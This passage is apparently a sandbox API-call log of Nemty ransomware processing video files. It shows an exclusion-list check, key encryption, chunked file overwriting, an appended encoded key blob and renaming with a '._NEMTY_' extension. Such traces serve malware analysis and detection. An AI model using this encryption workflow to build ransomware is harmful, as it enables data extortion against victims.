cAlternateFileName="")) returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2=".") returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="..") returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="...") returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="windows") returned -1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="rsa") returned -1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="NTDETECT.COM") returned -1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="ntldr") returned -1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="IO.SYS") returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="boot.ini") returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="boot.ini") returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="ntuser.dat") returned -1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="desktop.ini") returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="RECYCLER") returned -1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="bootmgr") returned 1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="programdata") returned -1 [0074.485] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="appdata") returned 1 [0074.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0074.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0074.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_INTRO_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 22 [0074.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0074.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0074.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_INTRO_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 22 [0074.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0074.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0074.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0074.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0074.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_INTRO_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 22 [0074.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0074.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0074.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0074.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0074.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_INTRO_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_INTRO_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 22 [0074.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0074.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0074.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0074.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0074.486] Sleep (dwMilliseconds=0x5) [0074.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe00b8a50, dwHighDateTime=0x1d561e7)) [0074.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe00b8a50, dwHighDateTime=0x1d561e7)) [0074.488] GetLastError () returned 0x5 [0074.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.488] GetLastError () returned 0x5 [0074.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0074.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0074.488] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0074.488] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0074.488] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0074.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0074.488] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="Xl2sW9UfeBvnyYw92ZrQpSjV7L3AARSr6PuPxSg9UXt4Zizf6xFWhSC7nCn9TKMc\r\n0dfnfsa/qCF4R5ASuxYFz0e75MOKoJIVPakfVA1bgGBzL5We/XEjGhQ3JJDHQ4VO\r\n+MXFJbmHkfJjkS/dGuj6JKCdKFB6Gvu1uyMaQsSoQTiX+Z8HhOTuf/NsEnxsht7n\r\n0lvEboAGbCuS/gmFXnaJe7WeFwITeQGwwNvRJxxWZPmpeZmabpKkqjoeB6M9Nnvu\r\nocu5p+oVDG7hr6qmPCb+xFSOu70gaqW3caFrsQ88qxDdgAefNQRu5N4cIRzjdViC\r\nstPpGOrIHkBcFC5oxqUGhw==\r\n", pcchString=0x653e91c) returned 1 [0074.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0074.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0074.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0074.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0074.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0074.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0074.488] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0074.489] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0074.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0074.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.489] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.498] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.499] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.517] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.590] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.590] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.596] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.596] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0074.596] CloseHandle (hObject=0xffffffff) returned 0 [0074.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0074.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0074.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0074.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0074.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0074.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0074.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0074.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0074.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0074.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0074.596] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv._nemty_kgobjgd_")) returned 0 [0074.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0074.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0074.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0074.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0074.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0074.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0074.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0074.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0074.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0074.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.597] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2=".") returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="..") returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="...") returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="windows") returned -1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="$RECYCLE.BIN") returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="rsa") returned -1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="NTDETECT.COM") returned -1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="ntldr") returned -1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="MSDOS.SYS") returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="IO.SYS") returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="boot.ini") returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="boot.ini") returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="ntuser.dat") returned -1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="desktop.ini") returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="CONFIG.SYS") returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="RECYCLER") returned -1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="BOOTSECT.BAK") returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="bootmgr") returned 1 [0074.597] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="programdata") returned -1 